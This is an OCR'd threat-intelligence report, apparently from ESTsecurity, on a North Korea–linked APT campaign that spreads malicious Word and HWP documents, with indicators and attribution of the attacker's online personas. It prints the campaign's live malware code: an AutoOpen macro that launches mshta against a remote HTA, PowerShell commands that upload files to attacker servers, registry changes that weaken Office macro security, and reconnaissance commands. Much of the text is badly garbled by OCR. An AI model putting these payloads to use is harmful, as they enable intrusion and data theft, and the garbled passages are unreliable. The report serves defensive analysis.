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Set PostO = CreateObject("MSXML2.ServerXMLHTTP.6.0"):
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Sub change_words(ByVal findWord, ByVal replaceWord)

With Selection.Find
.Text =findWord
Replacement.Text = replaceWord
Forward =True
\Wrap =wdFindContinue
.MatchWholeWord = True

End With

Selection.Find.Execute Replace:=wdReplaceAll

End Sub

Sub AutoOpen()
Shell ("mshta https://tdalpacafarml.Jcom/files/kr/contents/VkggyO.hta")

End Sub
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Falsc P For ju =8 Tod -1
Postl.Send P For ix = 8 Te Int{L 7 4) - 1
¢ - Postd.respanseTent expres.php?op=1 t5-sdMdle, ix g+ dx s 1, 1)
Execute ¢ © Mext
«Fscript> ¢ Mext
<oy > t 2 = 2 & Right{e, L - Imti(L f d) * d}
ccenters ¢ Cobl = =
ip» ¢ End Function
<fant colore”green”aHellal</Fants : Sat Post® = Createlbject("HSXHLE.Sarverk TTP.6.2")
<fpr : Post@.open “GETY,
<farm id= o™y *https: s fehristinadedley. con/public_htmlsincludes/ conm
ID: &n! pinbspénbsp &nbspinbcpdnbsplnbsp False
<input t3 “rihry ¢ Post@. Send
Passhiord: <1 ype="password ' rbri » tB = Postd.responseText exPrBS_PhP?OF=1
<imput typs 1" walugs Entertyhrachry rd =7
« [ EQrms : T8 = Co@di(ta)
«foenters ¢ Executeltd)
£ Dy > : window.closel)
< /hEmls cfseript>
< html>
HWP 2’4 (Operation Stealth Power) DoOC b4 (Campaign Smoke Screen)
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55|, C2 Aot E415 I ARZER= ‘expres php?op=1', ‘cow.php?op=1" T} TZH0|EfEEH OFL[2}, MHUHO]
MEBH B AEIQIE THD SASH 242 & 4 USLICH

S Y= RE00 AZE upload.php’ TIZE0| LB, HWP F2FH0] AIZE C2 M= 8=, DOC F2FH0|
MO 2 = S| k' SIRIFEATF (0] ASLICE

— —

@ HWP

retu=wShell.run('cmd.exe /c powershell.exe (New-Object System.Net.WebClient).UploadFile
(http://jmable.mireenelJoom/shop/price/com/upload.php’,"&amp;ttmp0&amp;");del

Jnm, mmr

"&amp;ttmp0&amp;™;del " &amp;ttmp&amp;™,0,true)

@ DOC

retu=wShellL.run( “powershell.exe (New-Object System.Net.WebClient).UploadFile

( htips://tdalpacafarm[Jcom/files/kr/contents/uploadphp’ ,” &tmp1&” );del
77 &ttmp1&” 7 7 sdel 7 &ttmp&” 7 7 7 0,true)

712|1 VBAWamings HXIAEZ| 7| S5 F=21 ttmp.log' 21 IAE Sk Fefo| YX|=h= AS SRS,
ESRC= 0 & He 22| 2RI 7Isd2 2lElel 201l AMHAIE 7[2te] 2 gt

AOZ HOof, eh=0flM LHE HWP 2k EA2t ali2lofiA E11E DOC 2 EA7H St AARZZ| 2foh b=
APT SZQ=Z 1 QSLCH,
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ExpandEnvironmentStrings(“%appdata%”) retu wShell.run(™cmd.
reg add
oftware\Microsoft\Office\14.0\E ecurity™

11.run("cmd
oftware\Micros A i 15.¢ c urity”
/d "

urity

retu wShell.run(“cmd.exe /c reg add ~
oftware\Microsoft\Office\14.@\WORD\Security™

arnings f; REG_DWORD /d ™

retu = wShell.run("cmd.exe /c reg add *
oftware\Microsoft\Office\15.8\WORD\Security™

retu = wShell.run("cmd.exe eg add "
oftware'\Mi \OFFi 16.0%WORD\Securit
/ VEAUEFHIHES Kt REG_DWORD /d ™

retu wShell.run("cmd.exe /c m
icrosoft
) retu = wShell.run("cmd.exe |/
dobe\Wup™
) folder = wShell. dEnv tStrings(“%appdata%™)

file vbs 1 1 licros kvnt.vbs™
file_vbs_2 1 = folder i Wup? enoq.js“
File_bat foldertmp "\tmp.bat"
t wShell-CreateObject("

hell.run(”
"cmd.exe fc taskkill /im cmd.exe"
*,0,true)"”
"wShell=new ActiveXObject("

Shell™

Shell.run(”
"cmd.exe fc taskkill /im cmd.exe”
",8,true) ;"
bat_1 g add "
"HKEY_CURRENT_| USEF 5 ftwarﬁj”icroso?t Command Processor”

nable.mireene.com/shop/price/com/moonx

2 ,» True) objBat.Write
Wb _1 objBat.Close Set objBat 7] «tFile(file_wbs_2_1
“, True) objBat.Write js_1 objBat.Close : objFs0.
File(fi Tru~) ob1Bat Urlte bat_1 objBat.Close
ttmp folder
ttmp8 folder
retu wShell. run("cmd.exe
" ttmp & "
8 rue) retu = wShell.run{"cmd.e> ¢ hostname>

wShell.run("cmd.e> ipconfig [
wShell.run("cmd.e> c net

wShell. run("cmd. e> dir
wShell.run{”cmd.

u = wShell.run(" <md.
licrosoft\Windows art Menu™

B, t ) u wShell.run("cmd.exe d
%programdata%\Microsoft\Windows\5Start Menu

¢ retu wShell. run{”cmd.exe
“%appdata®%\Microsoft\Windows\Recent™

[ 7' VBAWamings RUEZP 2} ttmp.log T A S
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>

okd DOC EMIOfYZ 7[ZHL= oh=0] 7[HICE &FE) Y= S 7KL JEUHCL

/1 Ho[x o7 oo R | s=0

http: //schemas.openxmlformats.org/
officeDocument/2886/relationships” =xmlns:w="

http: //schemas.openxmlformats.org/

wordprocessingml/2886/main” xmlns:wld="
http://schemas.microsoft.comfoffice/word/2018/wordml™
¥xmlns:wl5="http://schenas.microsoft.com/oftfice/

word/2812 fwordml™ mc:Ighorable="wld wl5"><

name="9fS J1CI": . w:val="

028B0503020000028884" f »< wival="81"/><

val="modern" f»< w:val="wvariable" /><
B2AF" w:usbl=" JICFB" w:usb

062e00812" w:usb3="00080080" w:csbB="00880081" w:csbl=
"BREBRRaR" [ f »g wW:name="Times New Roman™
B4 w:val="02620603 EEB4GEBEG“B4 I
Wival="88"/>< al="roman" />« wival="
variable™/>< M "EBQO2AFF" w:iusbl="C 841"
1Z2="00000089" w:usb3="00000008" w:csb8="0880a1FF
> f >

[ 8] 2501 7 1oz A8 okd A I

H A1 AIOIA Hlu 3 ESHX[HE(oC) X2

hta YIS 0|Zet S22 T
BT} L EAL|US LI,

rw

ARIS0| LA k=0, £35] (seoulhobil]biz / 192.186.142[]74) (2 E 085t

o] Z4Q= OIEZO|

‘AltcoinMiningBot.exe' (MD5 : cf264f9bca2f2focc2c1e7a4a491afec) UETEL| L= YETOI 0| &
T2 X RS SEEAT "192.186.142[]74 SAEZ HHS FHESLICE
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- http://seoulhobil Jbiz/how/fmaov0.hta

- http://192.186.142[174/cache/fwvujO.hta

- http://192.186.142[74/cache/expres.php?op=1

— http://192.186.142[ 174/ cache/expres.php?op=2
—http://192.186.142[ 174/ cache/cow.php?op=exe.gif
—http://192.186.142[ 174/ cache/cow.php?op=cow.gif
—http://192.186.142[]74/cache/upload.php

- http://192.186.142[]74/mn/xtgnb0.hta

- http://192.186.142[]74/post/YluhiO.hta

- http://192.186.142[]74/dll/MylgnO.hta

- http://192.186.142[]74/\ib/szgfi0.hta
- http://192.186.142[]74/lib/expres.php?op=1

- https://login-main.bigwnet[.Jcom/attachment/view/note.php

- https://login-main.bigwnet[.Jcom/attachment /view/Msgxo0.hta

- https://login-main.bigwnet[.Jcom/attachment /view/expres.php?op=1

- https://login-main.bigwnet[.Jcom/attachment/view/cow.php?op=Normal.src
- https://login-main.bigwnet[Jcom/attachment/view/Msgxo.hta

- https://login-main.bigwnet[.Jcom/attachment/view/expres. php?op=2

- https://mohanimpex(.Jcom/include/tempdoc/891250/doc.php

- https://mohanimpex(.Jcom/include/tempdoc/891250/ErsirO.hta

- https://mohanimpex[.Jcom/include/tempdoc/891250/expres.php?op=1
- https://mohanimpex[.Jcom/include/tempdoc/891250/Pkjjy.hta

- https://mohanimpex[.Jcom/include/tempdoc/891250/upload.php

- https://mohanimpex[.Jcom/include/tempdoc/891250/image.png

- https://fmchrlJin/images/common/NEACD/QzgmO.hta
- https://fmchrl.Jin/images/common/NEACD/expres.php?op=1
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~ https://fmchrl.Jin/images/common/NEACD/upload.php
- https://fmchrl.Jin/images/common/NEACD/cow.php?op=1

192.186.142[]74 FAZ BES 11 Bh= oY A2 H SRVt H LUASUSLICY.

- 'update.exe' (MD5 : b74909e14e25d2e9d1452b77f9927bf6)
—explorertmp (MD5 : 599ef2988141d251¢3f4ce991a%b5cd2)

explorertmp’ 24 M| ZHL0= '712H0|(cowboy) 2AIE AR | Sk=E, 'cow.php?op=cow.gif HHZS

MEE M= ‘cowboy OIS MEMSLICE

» <CONODUTS>,8
dd offset unk_188183DC
off_18618194 dd offset sub_ 1886100846

aPowershell exe:

{powershell .exe> A
s |[{WHicrosoftWexplorer.tmp, 8

., 2Urundll3?.exe’” "%s5" Bluetooth:,8

align
Src:

aRund113? exeSB:

Format

aMicrosoftCowbo:

o| <MMicrosoftWcowboy>l 8

LibFileHame :
, “ntdll.dllx,8

ProcHame db °"RtlDecompressBuffer',8

» <rb>,@
align
dd offset unk_ 188618424
off_18681062940 dd offset sub_18861BS8

off_ 18818294 dd offset DestructExceptionObject

[(721 9] 2P LHE0]| cowboy AEZ0| k=] S
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Task_Force_report.doc

2019-03-0518:17

windowsmb
https://christinadudley].Jcom/public_html/includes/common/Qfnaq.hta
e68b11bef48e8e88cha7e3c93fac5eab

Task_Force_report.doc

2019-03-0518:18

windowsmb
https://christinadudley[.Jcom/public_html/includes/common/Qfnag.hta
0f77143ce98d0b9f69c80278%3b1713

Speaking notes—ExMon Deterrence Summit-24Mar-rev26Mar19.doc
2019-03-2117:42

windowsmb
https://login-main.bigwnet[.Jcom/attachment/view/Msgxo0.hta
7ca1a603a7440f1031c666athes4alc8

Speaking notes-ExMon Deterrence Summit-24Mar-rev26Mar19.doc
2019-03-26 09:45

windowsmb
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File Name TaskForceReport.doc

Last Modified Date (KST) 2019-04-0117:15

Last Modified Name windowsmb

2 https://tdalpacafarm[.Jcom//wp-includes/Text/ Diff/common/HtggfO.hta
MD5 d400adcd06e0a07 549e2465c¢9c500c45

2019 03 2~4 #HKE= ‘windowsmb' APYEC = HEE EMIIUS0| HAZUSLICIL 02 HojlM=

JamFedura), Aji’ AEHO0| ASE|ASLIC

'Speaking notes—ExMon Deterrence Summit-24Mar-rev26Mar19.doc IQ| ZHR= HAF M SEfQF QA Tl
SEH7t CHolA| 2740 EISLICE

B2KH= John Havey 01202 ZNE| SAIZ OOR HZ5HHE0| AIMEIRSLICE
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Speaking notes-ExMon Deterrence Summit-24Mar-rev26Marl9.doc [Z5 2 C] - Word

i O &gl
e - L e e Y
Times Mew Roman =112 | ST L. | EE I;J 0
D 7t A 7 o-ome x, X 7H =B1==Z =- & —
= o7 ) AEre | HE
EO:I = T . - =
. w Y -2l -Aa- 7 o | BH @D - 55 2 & . =
SYHE = E Chet m AEY G ~

Speaking Notes: Assessing the 2019 Nuclear Posture Review
and the Low Yield Trident Warhead Option+

+
Tenth Annual Nuclear Deterrence Summit
Ritz Carlton Hotel, Pentagon City, VA~
+
John R. Harvey
26 March 2019+
+

I want to thank the Exchange Momitor folks for inviting me to speak today about U.S. nuclear
weapons and, specifically, the 2019 Nuclear Posture Review. I do so in fond memory of Ed
Helminsk, the founder of this annual summit, who was a champion of the nuclear deterrent

throughout his entire career.+
+

In recent decades, each new President has seen fit, e o AFEA
ranging review of U.S. nuclear policies, posture, and o= 0|
Department political appointes under two Democrat John Harvey
sen1or Energy Department official in one Eepublica:
in developing and/or implementing policy for three
the Cold War's end.+

+
Although I have strong differences with many polic:
secunty, the 2019 NPR. rolled out earlier thus month, 1s thoughtful, balanced and fullv 1n the

di

Ol =7}
ul L =

OpE|SHO 2 =X &) ApS

— =

windowsmb

1/6 §O|X 247475 ©tof  [¥ 20yO)2) Ed e B JC AT i 2

[22! 9-1]John Harvey ZaH2ME Windowsmb' AR 7= S1H
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MD5 304d86463a1fff5183aacc17ef2b3730
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white_paper.doc
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Aji
http://192.186.142[174/dll/MylgnO.hta
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Schedule_.doc

2019-02-2217:09

JamFedura
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fedura jam
20 BEE

~ fedurajam W P—
' @jamfedura0293 Yo' i w
e Telegram \§

% Cryptolancer

5] PROJECTS \2 FREELANCERS 1 SUPPORT v

JamFedura
@)JFedura

| am cyprtocurreny developer. and game,
¢, c++, bustabit, etc...

© Ccalifornia, USA

jamfedura
| am crypt currecny developer.

Joined: Feb. 19,2019

China
Jam Fedura
e Cryptolancer
Biography
Hello.

My name is Jam.

I have developed cryptocurrency project for 5+ years.

| can finish cryptocurrency project such as new coin creation, cryptocurrency gambling games, mining pool, wallet build,
Also i can do android & 10S cryptocurrency app.

Thanks

Skills

CRYPTOGRAPHY C++ PROGRAMMING NODE.JS PHP REACT.JS

(721 10] ERERH RT3 SRR FAL AR 21
ERE0 ST LigS 2HEH, = Sl Hal 22 WSS SIESLE 25 AEe= A2 F0 ESIT
2 7150] ‘50t AU

ot

T, o= Z273 JHESIA et Z2fHA JHEXIS 0|0iF= 22121 04 Z3HZEQ! 2IMZUWishket)
AO|EOIN ERIEIRt St Of0|C|2 =T ARKICZ 2F SO AO= HHIRELICY.

Ci=01 2017 1 08 Eofli= 52| HIEZQ! 0= 71jo 2018 A 01 E77HK| &Set 0| EAT|USLICH.
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Bitcoin Forum 4 simple machines forum

Welcome, Guest. Please login or register.

News: Latest Bitcoin Core release: 0.17.1 [Torrent]

HOME HELP SEARCH LOGIN REGISTER MORE

& Summary - JamFedura Picture/Text
Posts: 3

Activity: 3

Merit: 0

Position: Mewbie

Date Registered: August 11, 2017, 01:13:25 AM

Last Active: January 05, 2018, 12:40:10 AM

neLis 22

o+, nodejs, r ...

TEZZ|Q ) siEmz s HEFETE

Minzrs are claymaore Comuner Sominsr

Sekri Vel Ceyie Comvemmy

)iE s et
[o]] =
A J = =
g‘“ T -
3. 1Y AtO|E Fjet 2. 7He SHH| A2 = 03 g 1. 7Ht SHH| 22§ AtO|=
ey AU e ) LB ATEY0; T
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FIAZIL| AP | AHR0= 8 HZIC] i FHS 7HKIL UCH, 7H(S) 2| JHE0| K= FO5IL UCk= LS
2UH HIY AOIE M, 7he 2| Rz D=3 T, V1 S| 2 A|E 32| ZEEZ|Q7F SEE(0 JUSLICE

HIEZTQ! Z20jl= 0 7IX| 2SLHE0| Zat=|0] Q=E, IS0 AR F21 O[H[Y FA7t
jamshine1993@hotmail.com’ HAEAT 0] A 'om™***@hotmail.com 2= HZE|0] JUSLICE

12|31 HIEZTQI X|ZF =M(15vsH2T3ss9owzuaGnN7ee155tEwS4ighe) B7H=|0 =], EESH 2L
SRIE|X| UUSLICE

- https://www.blockchain.com/ko/btc/address/15vsH2T3ss9owzuaGnN7ee155tEwS4ighg

JamFedura @ Developed new dual miner
Mewbie October 30, 2017, 04:08:08 PM
=)
I am now developing a new dual miner.
. I will provide you with a dual miner opencl.
Activiby: 3 s A A : o
Merit: 0 But now it is going through the financial problems.
I need help.
I will give the helping teacher a dual miner engine.
% Some of the dual engines are introduced.

This is amd asm.

I will give the opencl file to th itcoin to my bitcoin address.
Flease contact me at my mail:]JamShine1993@hotmail.com.

—I my bitcoin address : 15v5H2T35590wzuaGnN?ee155tEwS4igFgI

amd asm:

header
fill 8, 1, 0x00
.byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00
.byte 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
fill 8, 1, 0x00

]
]
=

RELCE=S

om****@hotmail.com(2) 2 MY 27|

w4 O 2 SR ALK 27

H
=18

ajo

A4

F

[ 12] HEDQ| 12| S=E! I et OrAE| AR
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2018 A 05 & 371=l Cisco Talos E2| 'NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea
SAKI=L} HEEE= HE0| O AR AT AN Z= | HAAE| T USLICE

ElZA B2 NavRAT {32 'Group123/(aka Geumseong121, RedEyes) ZX&! | 71is5M4S ZAMARA| QJASH HE
U=H| ESRC = aliF Al2I27F 2014 A ZA| ke SZ0| ARBE HWP FE &IFER Hets| YX[eith= XS

BSUSHCE
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| | oo
HA OIZ 7tsdx HiME = SSLICE.
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CHMP CL,EL
SHORT G
LEA EDI,
SUE
OEC EDI
Maw cL,BYTE FTR i [EOI+Ex11]

IF EDI =1 Gooalelp. 88
CHMP CL,EBL

oglellp. B elp. BEF 12007

[un]
fion]

= HIFFFFFFFF1
M HIFFFFFFFF1
REF F 5
rMaLl £
AHO
REF F
LER EDI,OWORD PTR S
OEC EDI
Moy AL, EBYTE PTR
IMC EDI
CHMF AL, EL
£ BT Googlelp.

= @
= =

BiFFFFFFFF)
BiFFFFFFFF)
x PFFDEBER(FFF)

= &
[ B o

= &
=

=

LastErr ERROR

[HO,HE,HE, A,

El
MOL) E:

a1

L B I o I 1
[ B o B T Y v

EOI
M=MB OUORD PTR DOS:
MO LOWORD FTR D

o I |
=

=

[12! 13] jamshine1993@hotmail.com’ O HIIH SEAGE= NavRAT ARE
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fedura jam

@jamfedura0293

+ Rocket Science (2007)

R 1h 41min Comedy, Drama 28 September 2007 (UK)

~HILARIOUS. - WELCOME TO
THIS YEAR'S

A POIGNANTLY UITTLE MOVIR

(W TALE. E THAT COMD.S

Trailer 1 VIDEO 39 IMAGES

Looking for answers to life's big questions, a stuttering boy joins his high school debate team.

Director: Jeffrey Blitz
Writer: Jeffrey Blitz
Stars: Reece Thompson, Anna Kendrick, Nicholas D'Agosto = See full cast & crew >

https://www.imdb.com/title/tt0477078

(724 15) 2k 22 PRI TR ARIS 2P 2y D2 =8

2P| 0] PBIS AT ER3H ZOIX|, PXIL|Z M5 O[I[KIQIKIS OFX] BIAISHE] OXOM, 25t 0] SH201 TAp
LHR0| st Tate|0f ULk UK UBLICE

ERH DI2T AR A £ 6ll0] 22 AO[EN =M UE AREE 2 =3oliM AkZet 20| 2RIZ[JSLIC,
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JamFedura

@JFedura

| am cyprtocurreny developer. and game,
¢, c++, bustabit, etc...

Gallery of Asian Man Short Hair New Best asian Men Short Hairstyles 2013

Related Posts for Asian Man Short Hair New Best asian Men Short Hairstyles 2013

https://hothairstyle.info/asian-man-short-hair/asian-man-short-hair-new-best-asian-

men-short-hairstyles-2013/
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¥ freelancer

ajio170
| master in crypto currency.

| have developed many coins.

| have also developed exchange site, pool, miner, etc.
| also master in node.js, rectjs.

Thank you.

. Korea, Republic of

Member since December 20, 2018

(T2 20] SASHARRIOR TR RHA AJO [E0f| S2E'9ji9170 31

Ta|2M AOIEO S5 5ji9170 AE2 =22 SEE(0 AL, 7IE Al SUSH| LS| JHEX HE=
S=E[0] USLIC

@ji9170 AELZ SEE AEXA= G0 | ef2= Cifer I=ME F0| == SSoIUL, X3 eh=2= HI (ol

FUSLICL

https://www.freelancer.co kr/projects/mobile-phone/develop-bustabit-game/

| put a lot of coins on the bustabit game.
erc20, shekel, xgox, ethereum,

| can show you my demo.

| want to discuss with you in detail.
thank you.

https://www.freelancer.co kr/projects/php/javascript-expert-who-can-integrate/

Hello.
i have read your project carefully.
i can finish your project on time and pefect.

ESTsecurity
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Let's discuss more detail on chat.
Thanks

https://www.freelancer.co.kr/projects/c—programming/hidden-vnc-with-back-connection/

Hello.

| have module what you want.

i wanna discuss about your detail requirement.
i have an exerienece about Virus and malware.
Thanks

https://www.freelancer.co.kr/projects/python/telagram—bitmex—bot/

| have already made many bots.

| can show youl.

| can fulfill your request smoothly.

| want to discuss with you in detail.
Thank you.

https:/ /www.freelancer.co kr/projects/php/perfect-money-payment-gateway-18523359/

Hello

| have already made it.

lcandoit.

Let's discuss on chatting in detail.

Thank you.

HHHHHHHHHHHHHHHHH A

https://www.freelancer.co.kr/projects/c—programming/need-expert—18408762/

Hello

| master in ¢+,
lcandoit.

Let's discuss on chatting.

ESTsecurity
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Thank you.
HHHEHEHAHAHAH

https://www.freelancer.co.kr/projects/linux/finish-linux—project—18498297/

Hello sir

| candoiit for 1day.

Let's discuss on chatting.

Thank you.

HHHEHEHHHHE

HHHHHEHHHHEHH A

https:/ /www.freelancer.co.kr/projects/software-architecture/lock-bitings/

Hello.

i can do your project successfully on time.
i am very interesting in your project.

Let's discuss more detail on chat.
Thanks.

https://www.freelancer.co kr/projects/java/expert-coding/

| am a cryptographer.

| can fulfill your request well.

| want to discuss with you in detail.

thank you.

HHHEHHHHHHHHHHHHE A

https://www.freelancer.co kr/projects/software-architecture/online-game-18406869/
Hello,

| managed an online server.

| can protect your server from DoS attacks.

| want to discuss with you in detalil,

ESTsecurity
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Thank.

https:/ /www.freelancer.co.kr/projects/software-architecture/lock-bitings/

Hello.

i can do your project successfully on time.
i am very interesting in your project.

Let's discuss more detail on chat.
Thanks.

https:/ /www.freelancer.co.kr/projects/php/install-bitcoin-ethereum-full-node/

Hello,

| can do it perfectly.

Let's discuss on chatting.

Thank you.
TR

ESTsecurity
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aji9170 = $155 USD in 2 days

(0 Reviews)
| put a lot of coins on the bustabit 0.0
game.

erc20, shekel, xgox, ethereumn,
| can show you my demo.
| want to discuss with you in detail.

thank you.

aji9170 = $55 USD (3 O|LH)
1.8 84 (2218)

| am a cryptographer. 0.4 S

| can fulfill your request well.

| want to discuss with you in detail.
thank you.

HHBRBHH BB HAR BB R BB R R HRH AR HH
HHBRBHH BB HAR BB R BB R R HRH AR HH
HUHRBHHRR

[721 21919170 AIYOR mMEME it QXS 221 51

ESRC Ofxt= SAXPE AFE0k= Jwet it 7[fIES 71MC= FX6lE S 02t wAleh ZEIZ Def2i =25

=ol= AgsE 2EtEU.
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¥ freelancer

2ji199293
| am very familiar with cryptocurrency development

# Always here to bring your idea to be live.

I'm a talented Cryptocurrency development with 5+ years, Mobile developer with 8+
years experienced and a WEB EXPERT with 12+ years.

| guarantee the best quality of my work and serve full time

# Skills
v Cryptocurrency
- Blockchain project ( New coin/ Fork coin/ Mining pool/ Deposit/withdraw )
@aji199293 o - Cryptocurrency gambling game

v Mobile
[gj_] SR N - Native ; Swift / Objc_ctivc c/ Arjdrpid .

- Cross Platform : lonic / Xamarin / React native

+ Frontend & Framework

W San Angelo, United States ; . .
- Angular.js(2, 4, 5, 6), Vue.js 2.0, React js

Member since January 15, 2019 -HTMLS / CSS3 / SASS / Bootstrap / jQuery / Ajax
- WordPress / Magento / Prestashop / Opencart / Shopify
0 Recommendations v Backend

- PHP / Laravel / Codelgniter / CakePHP

- Node.js / [login to view URL]

- ASPNET (MVC 3/4/5)

- MySQL / MSSQL / MongoDB / Oracle / DB2
# Work Culture

+ | trust my Clients and ensure that they are completely satisfied with my work.
v 5 Star review for 5 Star work

[ 22] 51199293 HPEO= 2iS5h=Te RN
2ji199293 A= SEE 0| AFBXE= 2019 01 & 15 of| 7IY=/eH, 71= D522 SEE(0] USLIC

22/ BRY U xP N0l ASE T 22T AUS B3k USLIC
S22 22 0| 0| 29012 28 #2171 ACHE 20T, 4710 HEOR e 9174 ASHD 2=
7;
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aji199293 = $500 USD (10 O|LH)
1.6 8% (1218%)
IS R 0.0

LS
o
FAEEIA QL HHS0[, 210[EA Y &
22 SEAJAEE 7K 2L A& O
| A7}0] = 0}0|C] = live:rjh917 }
|.

i can help your project successfully.

Need to pow mining & staking in new alt crypto

Freelancer » XS FE » CE=ZZI2Y , Needto pow mining & staking in new alt crypto

Hello, everyone.

i need experienced & kind dev who can solve my simple issue.

i have made new cryptocurrency and all is okay.

But my issue is to premine & mine & staking my coin.

This is very easy for experienced guy, very simple issue - maybe setting issue.

| will discuss detail with winner guy.

my Skype = live:rjh917

Zla:c =238, ca =234, oS 8§ S, PHP, 2 A E CjXtel

=1

[ 23] 4ji199293 00 |2 2248 31

O] AFH0IM SEE =52 AMEH 7|E 3ji91702 IR RARBICH=E XS & 4= USLICE

https:/ /www.freelancer.co.kr/projects/php/send-whatsapp-message/

Hello
| made many bots.
| can do it with c++.

ESTsecurity Copyright © 2019 ESTsecurity Corp. All rights reserved.
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Let's discuss on chatting.
Thank you.
THHHHHHHHH R

https:/ /www.freelancer.co kr/projects/php/crypto-trading-bot-tradingview-scrip/

Hello.

| have already created an automated bot that uses binance's api.
| can show it to you.

| want to discuss with you in detail.

Thank you.

https:/ /www.freelancer.cokr/projects/php/cryptocurrency-website-18560239/

Hello

| have done it.

| can show you my demo.

Let's discuss on chatting.

Thank you.

HHHHHEHHHHEHA A
HHHAHHEH

https:/ /www.freelancer.co.kr/projects/php/blockchain—dice—game/

Hello.

i have developed such like this game

i am very interesting in your project

Please send me a message so that we can discuss more
Thanks

https:/ /www.freelancer.co.kr/projects/php/fhg-please-read-request-before/

Hello.
| have already developed all the 11 things you need.

ESTsecurity
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[ will show you all my demos.
| want to discuss with you in detail.
Thank you.

https:/ /www freelancer.co.kr/projects/php/proxy—creator-18562916/

Hello

| have proxies.

| have developed them.

So Which site do you want?
Proxies does not work all site.
Let's discuss on chatting in detail.
Thank you.

https://www.freelancer.co.kr/projects/graphic—design/email-marketing-landing-page—development/

Hello

| have experience in email marketing.
| buitt many email sender servers.

| can fulfill your demands.

| want to discuss with you in detail.

Thank you.

ESTsecurity
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Qji9170 | =

Hello
| have already made it.

leandoit.
Let's discuss on chatting in detail.
Thank you.
HHRRBRBRRRHHHRRBBR AR R BH#H
HERERRRSB SRR AR R R SR R A
HEHRRRSSHBH R R R BH R RS R R 1S
HHHABARR BB R R AR AR
HEHHBRSSSYE

Qji199293 | =

Hello

lcandoit
Let's discuss on chatting in detail.
Thank you.
EE R
HERRRF R R R R B RN R R B R R0

HH#EEERBRERRHBRRY

https://www.freelancer.co.kr/projects/php/
perfect-money-payment-
gateway-18523359/

https://www.freelancer.co.kr/projects/software-

architecture/parking-system-management/

[T 24]'3ji9170,'9ji199293 H[w 3fH

@ji199293 AE2 =X0| 0I=22 S5E(0] XIZ, =7|0fi= THE O0|L|Z S0, 3 X2 =02 83H

BRr RIE[USLICY,

12|71 AR 22101 A2 THo| S22 Aol BaT
SE57|= FSLICE
OFA IR RIEIIK|E £O{3H S7} EAYE LIt
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aji199293 | = $500 USD (102 O|LH)
1.6 R 8 (12l%)

g=ie] 2 [

Me EEA /MO £FRE= 7t
Aln gsHoh

I.I};I'-” E[}:I I:EI-’» DI[]-IE_

HEF =4 2
HHHHEHEEH R
HHHHEHEEH R
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#Ht#

1‘ freefancer Hire Freelancers ~  Work ~ My Projects ~  Help -

pdf exploit builder

Bids | AvgBid (USD) | Project Budget (USD)

15 $531 $250 - $750

Migel M. | = Last waek

Hello
| can da it.

I Do Euu use CVE? or other? I
et's discuss on chatting in detail.

Thank yruu

Portfolio L L L A b L H S S 0 P

[ 25] At 221R1 A 7 & Qb 7H0]| 0o k= 25

2|7 350 Moz SEHHE Migel M Ag2 Z=Z M 2 9ji1992930[2 S5ty =X0] OI=0iM

=O 2 OEA| LI USHCL

ESRC 0= olig APE0| M2 CHE ZQUX| H|wsl = Zuf, St MEAt =7 (0] ‘Migel M2 AE5H7 LIS

=Xt Ol0|EIS 25 et A= 2RI6IASLIH

TaA AMOIEN el 2211 AlY JHEAF SO2 &Ssoh= AZAIS0| 2 T2 JHR! LRl Eofoll

ULk= =2 LIS 2l0lok= 7t AL,
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'Hh917@hotmailcom’ AES M= AIZXIE X6 HH LR KNS LIRS

7St 4 Q

QU ELict

GitHub AIO|E S0 S5t O0|CIE AtSH= devAjiol17' APH0| LIEHLIA| E|H, 0] AR 2018 4 4 20|

SEERUSLIC

— https://github.com/devAjio17

- https://github.com/kgretzky/evilginx2/issues/253

- https://github.com/cryptonotefoundation/cryptonote/issues/221

- https://github.com/cryptonotefoundation/cryptonote/issues/222

Cropdev / CropDev

| want to meet CropDev

devAji9l7 commented on 5 Apr 2013

Hello, CropDev.

Your tier masterncde system is great.

i have checked your tier.

i wanna use tier in my coin.

i have tried it but fail.

maybe some code wrong.

Can you help me?

if you can help me, it is greateful and thankful.

my skype id = rjh917@hotmail.com |
Thanks
Best Regards.

O Why GitHub? Enterprise Explore Marketplace Pricing

Code (D) Issues 4 Pull requests 3 Projects 0

(Gl TR devAji917 opened this issue on 5 Apr 2018 - 1 comment

Insights

[12! 26] 26101 S== devAjio17' ARXLHEH
ESTsecurity
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- https://wallet.bitshares.org/#/account/devaji917

- https://bts.ai/u/devaji9o17

b BitShares 20190227 X | +

“— [ 8 https://wallet.bitshares.org/#/account/devad1? g [ +]

Al Exchange @ Explore devajial 7

PQI'[T’QI":D Open Orders Margin Positions Activity

Active |

QrY PRICE (BTS) 24HR SEND BUY DEFPOSIT WITHDRAW TRADE BORROW SETTLE BURN HIDE

0.00130 1.00 0.00%
01000 0.19601
01267662 0.50000 0.00%

v

@

>
® ®

() (

0.00004166 79,605.90970

™ = ot
-
() (X)) (x)

29 3546667 =
5,060.021597
00187171
0.0839928
0.3903061
0.001000
0.0050

vvyvyvyvyvyvyvyyvyy
FFFTTFTTFIFIFFPITIIX
I::l:l

TOTAL (BTS)

[ 27] HIEROD| 7 1R 21
0|2/0f|= 'devaji917' OIO|L|Z ESh= ARZARt EXlich=t, 715 AOIE| 0= S XO= S5 ASARILICE

- https:/ /mwww.guru.com/freelancers/devajio17
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S& devAjigl7 - Freelancer on Guru X -+

¢ C A& https://www.guru.com/freelancers/devaji917 By g (4]

devAjiQl7 e $0 No Feedback
EARNED/YR  FEEDBACK/YR
@ new york, lowa, United States

The guru of

@® Overview

actor 1 cryptocurrency management software development
m Portfolio
W Feedback :
_ Services
% Skills
CRYPTOCURRENCY

$100/hr | $80 min. | No Feedback

i have worked on cryptocurrency project for 7 years.

now i am acting as a manager and i have 3 top freelancers.
we can develop anything about cryptocurrency project.

actor, cryptocurrency. management software development

devAjig17

i will serve as an online freelancer and will work hard

I have developed a lot of cryptocurrency projects.

i can fork new coin based on any algorithm.

i can build linux , windows, mac, web, and android wallet.

i can build mining pool such as unomp, nomp , mpos and yiimp.
i can build ico website.

i can build exchange website.

[ 28] 72 A E D2z SEE devAjio17 2IH

AEE 2Rl 4 AL, TE|FHA AO|EOIN Z=HE JHE ZXMH|AZ T0| AtEolk= HOIZ0|: S&et

- https://github.com/Fungsyujongsu

LSt =2 APEXME E0k= Fungsyujonggu' 21612 AEMIM S2et Y FA7H HAIASLICE
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YTy . 1
| tiger199392 I 1_figer199392 |
